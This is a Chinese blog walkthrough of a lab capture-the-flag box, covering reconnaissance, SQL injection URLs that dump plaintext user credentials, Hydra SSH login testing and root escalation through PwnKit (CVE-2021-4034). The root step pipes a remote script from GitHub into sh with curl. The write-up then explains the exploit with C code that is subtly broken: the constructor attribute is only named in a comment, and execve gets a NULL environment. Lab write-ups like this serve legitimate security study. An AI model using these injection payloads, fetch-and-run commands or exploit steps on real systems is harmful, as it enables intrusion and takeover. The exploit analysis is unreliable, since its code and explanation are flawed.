李乐意的博客

tags:
@ 01/01/0001

如果扫描不到主机https://blog.csdn.net/Czheisenberg/article/details/122897376

端口扫描

nmap -sn --min-rate 10000 192.160.30.0/24
nmap --min-rate 10000 -p- 192.168.30.139
nmap --min-rate 10000 -sT -sV -sC -O -p22,8080,8081 -oA scan/detail 192.168.30.139
nmap --min-rate 10000 -sU -p- -oA scan/udp 192.168.30.139
nmap -script=vuln 192.168.30.139

服务探测

image-20250923164316088

8080端口说网站正在创建,以后再来。

/robots.txt无有效信息。

输入无效url时,页面提示。泄露目录地址mercuryfacts/

image-20250923164701874

http://192.168.30.139:8080/mercuryfacts/

目录爆破

gobuster dir -u http://192.168.30.139:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

image-20250923171940442

mercuryfacts探测

image-20250923164805221

一张图片:http://192.168.30.139:8080/static/mercury_facts/mercury_1.jpg

两个🔗:

  • http://192.168.30.139:8080/mercuryfacts/1
  • http://192.168.30.139:8080/mercuryfacts/todo

对图片file、exiftool、binwalk3查看类型、信息、绑定信息。并无特殊内容。

image-20250923165409087

注意到url链接中存在数字,尝试更改。测了一下到8.

# 1
Fact id: 1. (('Mercury does not have any moons or rings.',),)
事实编号:1. (水星没有任何卫星或环。),)
# 2
Fact id: 2. (('Mercury is the smallest planet.',),)
事实 ID:2. ('水星是太阳系中最小的行星。',)
# 3
Fact id: 3. (('Mercury is the closest planet to the Sun.',),)
事实 ID:3. (('水星是距离太阳最近的行星。'),)
#4
Fact id: 4. (('Your weight on Mercury would be 38% of your weight on Earth.',),)
事实编号:4. ('在 Mercury 上的体重将是你在地球上的体重的 38%。',)
#5
Fact id: 5. (('A day on the surface of Mercury lasts 176 Earth days.',),)
事实编号:5. ('水星表面的一天相当于地球上的 176 天。',)
#6
Fact id: 6. (('A year on Mercury takes 88 Earth days.',),)
事实编号:6. (“水星上的一年相当于 88 个地球日。”,)
#7
Fact id: 7. (("It's not known who discovered Mercury.",),)
事实编号:7. ((“无人知晓是谁发现了水星。”),)
# 8
Fact id: 8. (('A year on Mercury is just 88 days long.',),)
事实编号:8. (“水星上的一年只有 88 天。”,)

image-20250923165432029

加上前面信息,可以确定是django开发的网页。

看一下有没有sql注入。

image-20250923170620764

http://192.168.30.139:8080/mercuryfacts/1 order by 1

回显位置为1,位于最后这个位置。

image-20250923171035493

http://192.168.30.139:8080/mercuryfacts/1 union select table_name from information_schema.tables where table_schema=database()

(‘facts’,), (‘users’,)查看users表。

http://192.168.30.139:8080/mercuryfacts/1 union select column_name from information_schema.columns where table_name='users'

(‘id’,), (‘password’,), (‘username’,)

http://192.168.30.139:8080/mercuryfacts/1 union select group_concat(username,':',password) from users

拿到四组账号。

john:johnny1987

laura:lovemykids111

sam:lovemybeer111

webmaster:mercuryisthesizeof0.056Earths

SSH登录

创建凭据文件creds.txt。

john:johnny1987
laura:lovemykids111
sam:lovemybeer111
webmaster:mercuryisthesizeof0.056Earths

使用hydra测试哪些可以登录,

hydra -C creds.txt ssh://192.168.30.139

-L-P:这是最常用的方法,用于用户名列表和密码列表的 全排列组合。比如,如果你有10个用户名和100个密码,Hydra 会尝试 1000 次组合。

-C:这是更精确的方法,用于测试 特定的用户名和密码组合。它只会尝试文件中给定的每一行,不会进行全排列。

image-20250923172123003

只有一个成功。

webmaster:mercuryisthesizeof0.056Earths

登录ssh。

ssh webmaster@192.168.30.139
mercuryisthesizeof0.056Earths

image-20250923172452958

提权

sudo -l #无
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

image-20250923172940118

看到了pkexec。https://gtfobins.github.io/gtfobins/pkexec/

image-20250923173043574

或许可以直接提权。

sudo pkexec /bin/sh

webmaster@mercury:~$ sudo pkexec /bin/sh [sudo] password for webmaster: webmaster is not in the sudoers file. This incident will be reported.

失败。

pkexec 是 Linux 系统中 PolicyKit(简称 Polkit)框架的一部分。它的作用类似于 sudo,允许一个用户以另一个用户的身份(通常是 root)来执行命令。但与 sudo 不同的是,pkexec 的权限授予是基于细粒度的策略(policy)而不是 /etc/sudoers 文件。

CVE-2021-4034 的独立漏洞利用 - Pkexec 本地提权

https://github.com/ly4k/PwnKit

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

惊掉大牙,一个命令直接成功。👍

image-20250923173721288

Flag

image-20250923173913929

脚本分析

来都来了,看一下如何实现的提权。思路非常巧妙,它不是简单的命令注入。

而是利用程序内部逻辑错误的链式攻击

在传统的提权攻击中,我们通常寻找一个 SUID-root 的程序(如 findvim),然后利用它的不安全功能来执行一个 shell。而 PwnKit 漏洞的思路是:我们不直接利用 pkexec 的任何功能,而是利用它在执行前的初始化阶段的一个逻辑缺陷,欺骗它去运行我们的恶意代码。

简单来说,攻击者想让 pkexec 在启动时,把本该读取系统配置文件的地方,换成读取攻击者自己的恶意文件。由于 pkexec 是以 root 权限启动的,它执行攻击者的恶意文件时,也会以 root 权限来运行。

漏洞原理:环境变量劫持与内存损坏

这个漏洞的核心原理是 pkexec 在处理命令行参数时的一个内存越界读(out-of-bounds read)。这导致它错误地将环境变量当作了命令行参数来处理。

正常情况下的 pkexec 启动流程:

  1. pkexec 检查命令行参数 (argv)。
  2. 它会清除并重新设置一些危险的环境变量,比如 PATH

漏洞利用过程中的 pkexec 启动流程:

  1. 命令行参数为空:攻击者通过 execve 系统调用,以一个空 argv 列表来启动 pkexecpkexec 的代码在处理 argv 时存在一个逻辑缺陷,当 argv 为空时,它会错误地从内存中读取紧挨着 argv环境变量,并将其误认为是命令行参数。

  2. 环境变量被当做参数:当 pkexec 尝试清理环境变量时,它会遍历它误读的环境变量列表。它会寻找并清除 GCONV_PATHSHELL 等环境变量,但由于它是从 argv 列表中读取的,它实际上并没有清除它们。

  3. gconv_path 劫持pkexec 在启动时需要找到一些系统路径来设置其安全环境。它会尝试找到 pkexec 的可执行文件路径,但由于前面提到的内存越界问题,这一步会失败。当它失败后,它会退而求其次,寻找一个名为 gconv-modules 的文件来设置字符集转换。它会使用环境变量 GCONV_PATH 来寻找这个文件。

  4. 加载恶意共享库:攻击者提前设置了两个环境变量:

    • GCONV_PATH=/tmp/pwn:指向一个攻击者可控的目录。
    • LC_MESSAGES=C.UTF-8:一个特定的环境变量,用于触发 gconv 库的加载。

    攻击者在 /tmp/pwn 目录下创建了一个伪造的 gconv-modules 文件,该文件指向一个恶意的 .so 共享库文件,比如 /tmp/pwn/exploit.so

  5. 提权成功:当 pkexec 尝试加载 gconv-modules 时,它会找到攻击者伪造的文件,然后加载并执行 exploit.so 共享库。由于 pkexec 此时仍然以 root 权限运行,exploit.so 中的代码也会以 root 权限执行,从而为攻击者弹出一个 root shell。


漏洞利用代码分析

一个典型的 PwnKit 漏洞利用代码通常包含两个主要部分:主程序(用于设置环境)和恶意共享库(用于执行 payload)。

1. 主程序 (exploit.c)

这个文件负责设置环境变量并执行 pkexec

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    // 1. 设置 GCONV_PATH,指向恶意目录
    // 2. 设置其他必要的环境变量
    setenv("GCONV_PATH", ".", 1);
    setenv("LC_MESSAGES", "C.UTF-8", 1);
    
    // 3. 构建一个空命令行参数列表
    char *argv[] = { NULL };
    
    // 4. 使用 execve 启动 pkexec
    // 关键:第一个参数是可执行文件路径,第二个参数是命令行参数(我们传 NULL)
    execve("/usr/bin/pkexec", argv, NULL);
    
    return 0;
}

分析:

  • setenv():这是设置环境变量的关键函数。GCONV_PATH 被设置为 .,意味着当前目录,这样在后续编译时,我们的恶意文件就在当前目录。LC_MESSAGES 被设置为 C.UTF-8,这是为了触发 gconv-modules 的加载。
  • char \*argv[] = { NULL };:这就是漏洞利用的核心。它创建了一个空的命令行参数列表
  • execve("/usr/bin/pkexec", argv, NULL);:这个函数会用我们构造的空参数列表来启动 pkexec,从而触发漏洞。

2. 恶意共享库 (payload.c)

这个文件会被编译成一个 .so 共享库,它包含实际的提权代码。

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>

// __attribute__((constructor)) 是关键
// 它确保这个函数在库被加载时自动运行
void gconv() {
    // 检查是否获得了 root 权限
    // 0 是 root 用户的 UID
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);
        // 执行一个 root shell
        // -p 参数是为了保留特权
        execl("/bin/sh", "sh", "-p", NULL);
    }
}

分析:

  • __attribute__((constructor)):这是一个 GCC 的特性,它告诉编译器,gconv() 函数应该在程序加载这个共享库时自动执行,而不是等待被调用。
  • if (geteuid() == 0):这是一个安全检查,确保代码只在以 root 权限运行时才执行。
  • setuid(0)setgid(0):这些函数将当前进程的实际用户 ID 和组 ID 设置为 root,以确保提权完全成功。
  • execl("/bin/sh", "sh", "-p", NULL):这会用 root 权限启动一个新的 shell。-p 参数是用来告诉 shell 保留其有效的用户 ID,防止它自动降权。

结论: 攻击者通过 exploit.c 触发 pkexec 的漏洞,导致 pkexec 错误地加载了 payload.sopayload.so 中的 gconv() 函数在加载时自动运行,并以 pkexec 的权限(也就是 root)执行,最终弹出了一个 root shell。